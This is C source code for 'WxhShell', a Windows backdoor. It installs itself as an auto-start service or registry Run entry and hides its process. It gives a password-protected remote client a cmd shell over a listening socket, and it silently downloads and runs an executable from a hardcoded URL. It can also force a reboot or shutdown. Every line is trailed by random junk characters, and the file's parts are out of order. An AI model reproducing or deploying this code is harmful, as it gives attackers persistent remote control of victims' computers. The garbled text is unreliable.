    if(Boot(SHUTDOWN)) Lq:Z='Kc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]`%cTdpLj  
    else { c8h 9  
    closesocket(wsh); /)N[tv2  
    ExitThread(0); }0:=)e  
    } !^w+<p  
    break; `3~w#?+=*  
    } |2Q;SaI^\  
  // 获取shell rLVS#M#&e>  
  case 's': { q*>`HTPcU  
    CmdShell(wsh); -g~$HTsGm  
    closesocket(wsh); mU;TB%#)  
    ExitThread(0); 8d-_'MXk3  
    break; d bw`E"g  
  } Y%2<}3P  
  // 退出 J}BS/Tr}=  
  case 'x': { "~tEmMz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); % %*t{0!H+  
    CloseIt(wsh); l&zd7BM9(  
    break; a4?:suX$  
    } P:=3;d{v  
  // 离开 ,{$:Q}`  
  case 'q': { *g7dB2{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); > >p3#~/  
    closesocket(wsh); tcfUhSz,I  
    WSACleanup(); Y>r9"X| &H  
    exit(1); IYd)Vv3'j  
    break; fN@2 B  
        } ydw')Em  
  } AkGCIn3  
  } 9k1n-po  
%A04'dj`zQ  
  // 提示信息 .-{B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ACs?m\$Q  
} z"|^Y|`m  
  } tJc9R2  
94Z~]C  
  return; m8.sHw  
} Jjv, )@yo  
9M<{@<]dm  
// shell模块句柄 d+$a5 [^9  
int CmdShell(SOCKET sock) bX8Bn0#a+  
{ +`zM^'^$  
STARTUPINFO si; -3A#a_fu  
ZeroMemory(&si,sizeof(si)); &{99Owqg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U)2\=%8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M '[.ay  
PROCESS_INFORMATION ProcessInfo; ,u/GA<'#M  
char cmdline[]="cmd"; CtS*"c,j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nI&Tr_"tm  
  return 0; 72.Z E%Ue  
} Ygr1 S(=  
Y6f0 ?lB  
// 自身启动模式 ):1NeJOFF  
int StartFromService(void) K_(o D O  
{ sJ,:[  
typedef struct .xS}/^8iD  
{ !h4L_D0  
  DWORD ExitStatus; #7GbG\  
  DWORD PebBaseAddress; ?J|~ G{yH  
  DWORD AffinityMask; %R(1^lFI$  
  DWORD BasePriority; 0@vSl%I+  
  ULONG UniqueProcessId; r!'\$(m E  
  ULONG InheritedFromUniqueProcessId; x pT85D  
}   PROCESS_BASIC_INFORMATION; #)z_TM07P  
pPUKx =d  
PROCNTQSIP NtQueryInformationProcess; 'Tj9btM*cL  
&^9 2z:?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SnRk` 5t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j'g':U  
X0O@,  
  HANDLE             hProcess; YLk/16r  
  PROCESS_BASIC_INFORMATION pbi; $ba3dqbCW  
1jO}{U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6"b =aPTi  
  if(NULL == hInst ) return 0; va[@XGaC3  
jw]~g+x#$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LNPwb1)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u?r=;:N|y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *H8(G%a!^  
Ou>L|#=!  
  if (!NtQueryInformationProcess) return 0; 0P_qtS  
g4^=Q'j-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4*&_h g)h  
  if(!hProcess) return 0; '#L.w6<B  
\L Gj]mb1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V*U{q%p(  
RX3P %xZ  
  CloseHandle(hProcess); : A9G>qg  
gP:mZ7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kdcr*7w  
if(hProcess==NULL) return 0; ]lV\D8#  
PRa #; Wb  
HMODULE hMod; 5 ELKL#(  
char procName[255]; Zl^#U c"  
unsigned long cbNeeded; bxLeQWr6  
)2~Iqzc4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ev+m+  
!Nua  
  CloseHandle(hProcess); KeFEUHU  
QpbyC_:;$4  
if(strstr(procName,"services")) return 1; // 以服务启动 p;$Vw6W=  
?B7n,!&~  
  return 0; // 注册表启动 9x$Kb7'F  
} uY{V^c#mv  
j+YA/54`  
// 主模块 ,e<(8@BBL  
int StartWxhshell(LPSTR lpCmdLine) @ W[LA<  
{ 8&+m5x S  
  SOCKET wsl; sTv;Ogs.  
BOOL val=TRUE; %iMRJ}8(7  
  int port=0; jzt$  
  struct sockaddr_in door; pu3ly&T#a_  
:!Ea.v  
  if(wscfg.ws_autoins) Install(); 5'*v-l,[  
4'9yMXR  
port=atoi(lpCmdLine); K)=<hL  
M*6}#ST  
if(port<=0) port=wscfg.ws_port; VjsQy>5m  
U (*k:Fw  
  WSADATA data; kB:6e7D|[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2?J[D7  
T-S6`^_L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   anxZ|DE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  #4?Z|_j3  
  door.sin_family = AF_INET; Twl>Pn>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !A@Ft}FB  
  door.sin_port = htons(port); jr,j1K@_t  
OcWy#,uC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t{A/Lq9AM  
closesocket(wsl); gK7bP'S8H  
return 1; St 4YNS.|  
} O{@m,uY  
>AFX}N#  
  if(listen(wsl,2) == INVALID_SOCKET) { *%6NuZ  
closesocket(wsl); E3%:7MB  
return 1; SY&)?~C  
} KPW2e2{4@  
  Wxhshell(wsl); j6@5"wx  
  WSACleanup(); 0H;,~ WY  
&"G4yM  
return 0; |1M+FBT$w  
vMT:j  
} X=_`$ 0  
H! IL5@@K  
// 以NT服务方式启动 { [Sd[P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xweV8k/  
{ "lU%Pm]>  
DWORD   status = 0; 9'tOF  
  DWORD   specificError = 0xfffffff; =gG_ %]``R  
;G 27S<Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3JnBKh\n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dj0`#~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %#g9d  
  serviceStatus.dwWin32ExitCode     = 0; 9#C hn~ \  
  serviceStatus.dwServiceSpecificExitCode = 0; e(t,~(  
  serviceStatus.dwCheckPoint       = 0; 7NG^I6WP-  
  serviceStatus.dwWaitHint       = 0; D H}gvV  
q].n1w [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &tKr ?l  
  if (hServiceStatusHandle==0) return; ~D[5AXV`^  
? dD<KCbP,  
status = GetLastError(); 5yC$G{yV  
  if (status!=NO_ERROR) HZ>8@AVa\  
{ (+_i^SqK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ah1DuTT/G  
    serviceStatus.dwCheckPoint       = 0; 8+gti*C?\  
    serviceStatus.dwWaitHint       = 0; ~i3/Ec0\  
    serviceStatus.dwWin32ExitCode     = status; ze5Hg'f  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?uiQ'}   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F% <hng%k  
    return; $]H^?  
  } Hjho!np  
y}TiN!M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1K<4Kz~  
  serviceStatus.dwCheckPoint       = 0; kZ^}  
  serviceStatus.dwWaitHint       = 0; g8I=s7cnb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }1N $4@  
} vO2I"Y*\  
-5v2E-  
// 处理NT服务事件,比如:启动、停止 HW0EPJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ai99:J2k  
{ '%k<? *  
switch(fdwControl) c_oI?D9  
{ [;IW'cXNq  
case SERVICE_CONTROL_STOP: jSY&P/[ xb  
  serviceStatus.dwWin32ExitCode = 0; ~}B6E)   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^4D7sS;~3  
  serviceStatus.dwCheckPoint   = 0; .'+*>y!  
  serviceStatus.dwWaitHint     = 0; @I`X{oAA  
  { Qf?5"=:#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KZK9|121  
  } )T4%}$(  
  return; lP9XqQ(  
case SERVICE_CONTROL_PAUSE: iymOq9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JjH#,@'.  
  break; |(mr&7O  
case SERVICE_CONTROL_CONTINUE: -]!m4xvK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v7;zce/~  
  break; H*SEzVb  
case SERVICE_CONTROL_INTERROGATE: rkp 1tv  
  break; bC[TLsh7{2  
}; 'eKvt5&@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vkQ81PEt  
} /hC[>t<  
jQrj3b.NC3  
// 标准应用程序主函数 ^\Bm5QkS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]}K\&ho2  
{ BseK?`]U"  
]klP.&I/0  
// 获取操作系统版本 uU&,KEH  
OsIsNt=GetOsVer(); vXdz?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T);eYC"@  
pv:7kgod  
  // 从命令行安装 XET'XJWF%  
  if(strpbrk(lpCmdLine,"iI")) Install();  8(.DI/  
;=&D_jGf]  
  // 下载执行文件 )kMA_\$,  
if(wscfg.ws_downexe) { gnAM}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sn|q EH  
  WinExec(wscfg.ws_filenam,SW_HIDE); *6Ojv- G|5  
} bp'qrcFuiL  
xjm|ewo  
if(!OsIsNt) {  |7ga9  
// 如果时win9x,隐藏进程并且设置为注册表启动 aY/msplC  
HideProc(); {i:5XL   
StartWxhshell(lpCmdLine); &}TfJ=gj  
} k>W5ts2+  
else \ 2cI=Qf  
  if(StartFromService()) $jLJ&R=?]  
  // 以服务方式启动 M"q]jeaM  
  StartServiceCtrlDispatcher(DispatchTable); =44hI86  
else vcsrI8+  
  // 普通方式启动 h)O<bI8  
  StartWxhshell(lpCmdLine); w"-'  
q\PHA  
return 0; DXbzl +R  
} eSV_.uvsb  
[1I>Bc&o*  
W{0gtT0  
=y5~7&9'  
=========================================== V}leEf2'  
KNR_upO8  
.zm'E<  
RVlAWw(  
|FF"vRi8a7  
l7rGz2:?  
" ~2R3MF.C  
%]>LnbM>4  
#include <stdio.h> @iC,0AK4k  
#include <string.h> a@1 r3az  
#include <windows.h> HA +EuQE"  
#include <winsock2.h> oD5VE  
#include <winsvc.h> os\"(*dix  
#include <urlmon.h> c0lVt)pr/  
$6~ \xe=  
#pragma comment (lib, "Ws2_32.lib") 5H+S=  
#pragma comment (lib, "urlmon.lib")  R~jV  
U}c[oA  
#define MAX_USER   100 // 最大客户端连接数 un+U_|>c  
#define BUF_SOCK   200 // sock buffer lX)RG*FlTC  
#define KEY_BUFF   255 // 输入 buffer c$<7&{Pb  
Ri,8rf0u  
#define REBOOT     0   // 重启 8QFn/&Ql$B  
#define SHUTDOWN   1   // 关机 V;b^b5yZ>  
_g%Wx?K9  
#define DEF_PORT   5000 // 监听端口 T>"GH M  
Ek!$Ary  
#define REG_LEN     16   // 注册表键长度 4r@dV%:%<  
#define SVC_LEN     80   // NT服务名长度 \O]1QM94Y  
?WD|a(  
// 从dll定义API J6*Zy[)%&S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HvITw%`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yIS.'mK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;l]OmcL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |+?ABPk"  
/o<tmK_m  
// wxhshell配置信息 ObDcNq/b!  
struct WSCFG { C*e) UPK`  
  int ws_port;         // 监听端口 >R5qhVYFb  
  char ws_passstr[REG_LEN]; // 口令 9]Q\Pr\Ub$  
  int ws_autoins;       // 安装标记, 1=yes 0=no QOG S` fh  
  char ws_regname[REG_LEN]; // 注册表键名 B3 mD0   
  char ws_svcname[REG_LEN]; // 服务名 P7IxN)b7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4<`x*8` ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # ;,b4O7@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _IAvFJI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S9sFC!s1g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R5QSf+/T4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l8n}&zX  
u8Ul +u  
}; |?c v5l7E  
|TOz{  
// default Wxhshell configuration $qN+BKd]3  
struct WSCFG wscfg={DEF_PORT, %ZV a{Nc  
    "xuhuanlingzhe", kcH ?l  
    1, Z`fm;7NiVG  
    "Wxhshell", *+p9u 1B5  
    "Wxhshell", W\{gBjfE  
            "WxhShell Service", Hv>C#U  
    "Wrsky Windows CmdShell Service", AT^?PD_  
    "Please Input Your Password: ", &i`\`6 q  
  1, e+"r L]  
  "http://www.wrsky.com/wxhshell.exe", z3IQPl^  
  "Wxhshell.exe" aX=  
    }; `sZ/'R6  
A9lnQCsJ  
// 消息定义模块 Sd]`I)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xUYUOyV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pnb?NVP!^9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y(WX`\M97  
char *msg_ws_ext="\n\rExit."; f1Ruaz-  
char *msg_ws_end="\n\rQuit."; oB27Y&nO  
char *msg_ws_boot="\n\rReboot..."; H<dOh5MFh  
char *msg_ws_poff="\n\rShutdown..."; /easmf]  
char *msg_ws_down="\n\rSave to "; )j6VROt  
DUg  
char *msg_ws_err="\n\rErr!"; ffGiNXCM  
char *msg_ws_ok="\n\rOK!"; Sqw.p#  
.K(IRWuw  
char ExeFile[MAX_PATH]; zosJ=$L  
int nUser = 0; *Yk3y-   
HANDLE handles[MAX_USER]; w{[OtGIi3  
int OsIsNt; pCSR^ua>  
7Rr(YoWa  
SERVICE_STATUS       serviceStatus; rj"oz"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _20nOg`o  
#vJDb |z  
// 函数声明 &Y"u*)bm  
int Install(void); XW6>;:4k  
int Uninstall(void); PTe8,cD>  
int DownloadFile(char *sURL, SOCKET wsh); &?(r# T  
int Boot(int flag); YPAMf&jEF  
void HideProc(void); H"4^  
int GetOsVer(void); `.+_}.m  
int Wxhshell(SOCKET wsl); d$<HMs:o@  
void TalkWithClient(void *cs); #RoGyrLo  
int CmdShell(SOCKET sock); rlYAy5&  
int StartFromService(void); Q4 Mp[  
int StartWxhshell(LPSTR lpCmdLine); C=}YKsi|R|  
u"-q"0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *]%{ttR~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X )d7y  
ysA~Nq@  
// 数据结构和表定义 )*N]Q  
SERVICE_TABLE_ENTRY DispatchTable[] = oB8u[ !  
{ i Xtar;%  
{wscfg.ws_svcname, NTServiceMain}, |`9POl=  
{NULL, NULL} =LHE_ AA  
}; q4$zsw  
S?nXpYr  
// 自我安装 uzL)qH$b  
int Install(void) #_{3W-35*  
{ HK>!%t0S  
  char svExeFile[MAX_PATH]; w">XI)*z  
  HKEY key; <5MnF  
  strcpy(svExeFile,ExeFile); +)Tt\Q%7  
Hep]jxp+  
// 如果是win9x系统,修改注册表设为自启动 n{j14b'  
if(!OsIsNt) { FbQ"ZTN\;Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <#w0=W?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O3#4B!J$E  
  RegCloseKey(key); [ aj F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @giipF2$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %'Ebm  
  RegCloseKey(key); BY"<90kBL  
  return 0; >6 [{\uPK  
    } Px&*&^Gf[b  
  } [ Y.3miE  
} xn(lkQ6Fm  
else { w\KO1 Ob  
PgAC3%M6  
// 如果是NT以上系统,安装为系统服务 YC4S,fY`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tUl#sqN_{  
if (schSCManager!=0) F*rU=cu  
{ LBT{I)-K  
  SC_HANDLE schService = CreateService R[5*]$(b  
  ( A:F*Y%ZW  
  schSCManager, s=Pwkte  
  wscfg.ws_svcname, xlF$PpRNM  
  wscfg.ws_svcdisp, "exph$  
  SERVICE_ALL_ACCESS, hZ!N8nWwNR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >5)E\4r-  
  SERVICE_AUTO_START, A!&p,KfT5+  
  SERVICE_ERROR_NORMAL, 2MmqGB}YcW  
  svExeFile, &Cp)\`[y  
  NULL, "ZF:}y  
  NULL, ! %r5  
  NULL, NK]X="`  
  NULL, aH'Sz'|E  
  NULL E[HXbj"  
  ); TTpK8cC  
  if (schService!=0) #R<4K0Xan  
  { Epsc2TuH7  
  CloseServiceHandle(schService); s2)a8 <  
  CloseServiceHandle(schSCManager); _7? o/Q?F%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *[@lp7  
  strcat(svExeFile,wscfg.ws_svcname); a+ZP]3@ 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?UnOi1"v9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i]gF 6:&  
  RegCloseKey(key); L=ZKY  
  return 0; K.G}*uy  
    } <SmXMruU  
  } mR:G,XytxM  
  CloseServiceHandle(schSCManager); ECqcK~h#E  
} Y!* \=h6h  
} B!H4 6w~  
54s+4R FL  
return 1; d:}aFP[  
} /10 I}3D  
\Fj$^I>C  
// 自我卸载 L,V\g^4$K  
int Uninstall(void) <Hl.MS  
{ v.H00}[.  
  HKEY key; Wfgs[  
4ihv|%@  
if(!OsIsNt) { LL@VR#n"V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J4!Om&\@  
  RegDeleteValue(key,wscfg.ws_regname); E]V:@/(M'  
  RegCloseKey(key); 6f/>o$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |k3ZdM  
  RegDeleteValue(key,wscfg.ws_regname); ;=>4 '$8  
  RegCloseKey(key); wND0KiwH  
  return 0; T :IKyb  
  } -Wc'k 2oU  
} AGkk|`  
} {-D2K:m  
else { |&lAt \  
9{\e E]0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vQ"EI1=7Z  
if (schSCManager!=0) K0_/;a] |  
{ `J \1t K{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q]Q]kj2  
  if (schService!=0) VqV6)6   
  { '>-  C!\t  
  if(DeleteService(schService)!=0) { 0<75G6wd  
  CloseServiceHandle(schService); FglCqO}  
  CloseServiceHandle(schSCManager); P3C|DO4  
  return 0; Rf2$k/lZ  
  } V~M>K-AL  
  CloseServiceHandle(schService); {^ 1s  
  } JnE\E(ez  
  CloseServiceHandle(schSCManager); 91|=D \8aE  
} hGyi@0  
} k ]C+/  
V}(snG,  
return 1; pH5"g"e1  
} !4 `any  
nf?;h!_7  
// 从指定url下载文件 Cp(,+ dD  
int DownloadFile(char *sURL, SOCKET wsh) =o]V!MW  
{ fM,U|  
  HRESULT hr; f@&C \  
char seps[]= "/"; g-j`Ex%  
char *token; 3D70`u  
char *file; afOb-G$d=  
char myURL[MAX_PATH]; v+dt1;  
char myFILE[MAX_PATH]; (%]&Pe]  
QWG?^T fi  
strcpy(myURL,sURL); i~:FlW]  
  token=strtok(myURL,seps); .n1]Yk;,1  
  while(token!=NULL) !~PLW]Z4  
  { 1^rODfY0  
    file=token; .PBma/w W  
  token=strtok(NULL,seps);  pv1J6  
  } nsk`nck  
Tx"}]AyB6  
GetCurrentDirectory(MAX_PATH,myFILE); <Okk;rj2  
strcat(myFILE, "\\"); +Z[(s!  
strcat(myFILE, file); /~*U'.V  
  send(wsh,myFILE,strlen(myFILE),0); aY7kl  
send(wsh,"...",3,0); P [-2^1P"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5\/h3 i"I  
  if(hr==S_OK) rSDS9Vf(  
return 0; c-8Pc ]+g  
else !m(5N4:vV  
return 1; z 17  
i)=!U>B_0  
} >J>4g;Y  
wjYwQ=y5  
// 系统电源模块 6?OH"!b2-}  
int Boot(int flag) H)aeS F5  
{ GPnd7}Tn  
  HANDLE hToken; HT7V} UiaO  
  TOKEN_PRIVILEGES tkp; C(7uvQ  
xb$eFiQ  
  if(OsIsNt) { +V*FFv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Un\h[m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )? WiO}"  
    tkp.PrivilegeCount = 1; OLpE0gZ.|`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v`8dRVN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y)_T!&ze  
if(flag==REBOOT) { Pda(O;aNU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &A>Hq/Y  
  return 0; Y0iL+=[k`m  
} UV8,SSDTV  
else { l9 RjxO.~U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z=`\U?,  
  return 0; #UGm/4C  
} ~L j[xP  
  } A7@5lHMF  
  else { c`I`@Bed  
if(flag==REBOOT) { <EKDP>,~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >!:uVS  
  return 0; .hW_P62\#  
} A|p O  
else { 1L.H"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @A6 P[r  
  return 0; 9Cbf[\J!bq  
} aLapb5VV  
} JJlwzH  
;7CE{/Bq.p  
return 1; D/C,Q|Ya6  
} y1P KoN|K  
`iuo([E d  
// win9x进程隐藏模块 }ybveZxv5A  
void HideProc(void) @+1-_Q`s/R  
{ M rpn^C2)  
!7XAc,y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z!o&};_j  
  if ( hKernel != NULL ) \9*wo9cV  
  { \A'MEd-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X,d`-aKO\y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xFcJyjo^z  
    FreeLibrary(hKernel); S;[g0j  
  } "1P8[  
#:"F-3A0  
return; 7+';&2M)n~  
} EJ&[I%jU  
X=]FVHV;  
// 获取操作系统版本 )+T\LU  
int GetOsVer(void) 'P(S*sr  
{ R /J@XP  
  OSVERSIONINFO winfo; F.ml]k&(m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n]G!@-z  
  GetVersionEx(&winfo); =w='qjh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L/,#:J  
  return 1; Kc~h  
  else a& b75.-  
  return 0; z$OKn#%T  
} _r0[ z  
o!6gl]U'y9  
// 客户端句柄模块 @MMk=/WDw  
int Wxhshell(SOCKET wsl) DEEQ/B{  
{ p<IMWe'tP  
  SOCKET wsh; Om`VQ?  
  struct sockaddr_in client; S(xlN 7=  
  DWORD myID; +$R4'{9q  
t.Hte/,k  
  while(nUser<MAX_USER) {w*5uI%%e  
{ e\%emp->  
  int nSize=sizeof(client); |#^##^cF/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |f+|OZY  
  if(wsh==INVALID_SOCKET) return 1; Lk{ES$  
pj?wQ'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z^s/7Va[  
if(handles[nUser]==0) J WaI[n}  
  closesocket(wsh); u2crL5^z2)  
else sCG[gshq  
  nUser++; 5*QNE!  
  } w yi n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _(=[d  
w_o|k&~,  
  return 0; M_@%*y\o  
} --*Jv"/0  
t,|`#6Ft  
// 关闭 socket _kR);\V.8  
void CloseIt(SOCKET wsh) yxq+<A4,a  
{ .9X,)^D  
closesocket(wsh); &c<0g`x  
nUser--; a?#v,4t^  
ExitThread(0); !qe ,&JL  
} !.>TF+]  
Q _Yl:c  
// 客户端请求句柄 LPr34BK  
void TalkWithClient(void *cs) R$qp3I  
{ D90m..\w  
[_W#8{  
  SOCKET wsh=(SOCKET)cs; p^1s9CM%  
  char pwd[SVC_LEN]; /.!ytHw8  
  char cmd[KEY_BUFF]; o'nju.'  
char chr[1]; _ZUtQ49  
int i,j; Y] Q=kI  
NYopt?Xg  
  while (nUser < MAX_USER) { B?d^JWTZ  
R:49Gn:F  
if(wscfg.ws_passstr) { HmxA2 ~C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $RA8U:Q!1e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *N5cC#5`=  
  //ZeroMemory(pwd,KEY_BUFF); w\wS?E4G  
      i=0; [K_v,m]   
  while(i<SVC_LEN) { D*!p8J8Ku  
<)01]lKH  
  // 设置超时 *xY}?vSs  
  fd_set FdRead; %-C   
  struct timeval TimeOut; pRS+vV3  
  FD_ZERO(&FdRead); @ 63Uk2{W>  
  FD_SET(wsh,&FdRead); w@ 1g_dy  
  TimeOut.tv_sec=8; &3a1(>(7F  
  TimeOut.tv_usec=0; " sh%8 <N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J'99  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t As@0`x9  
1+`Bli]dE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =2;2_u?  
  pwd=chr[0]; C:Tjue{G2  
  if(chr[0]==0xd || chr[0]==0xa) { p9c`rl_N  
  pwd=0; ID+ o6/V8  
  break; r3.A!*!  
  } M[aF3bbN  
  i++; 1eiV[z$?  
    } 3{wr*L1%-~  
ySC;;k'  
  // 如果是非法用户,关闭 socket )tc"4lp -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >(N0''eM]  
} khS b|mR)  
01bBZWX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uCX+Lw+As  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &OpGcbf1  
Ur^~fW1 o  
while(1) { cb ICO  
t^N 92$|  
  ZeroMemory(cmd,KEY_BUFF); a>w@9   
*=+m;%]_  
      // 自动支持客户端 telnet标准   z D&5R/I  
  j=0; d1&RK2  
  while(j<KEY_BUFF) { <A%}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (;1rM}B;1  
  cmd[j]=chr[0]; Mlr]-Gu5Z  
  if(chr[0]==0xa || chr[0]==0xd) { >cVEr+r9t  
  cmd[j]=0; |g o jb  
  break; P3[!-sv  
  } .m',*s<CMQ  
  j++; qIm?F>> @  
    } 5v1f?btc  
-p|JJx?r  
  // 下载文件 wD(1Sr5n  
  if(strstr(cmd,"http://")) { cT8b$P5w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R4xoc;b  
  if(DownloadFile(cmd,wsh)) rLt`=bl&&U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ED9uKp<Wbv  
  else 3I|&}+Z6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O3U6"{yJ)  
  } w QV4[  
  else { Z^P]-CB|6A  
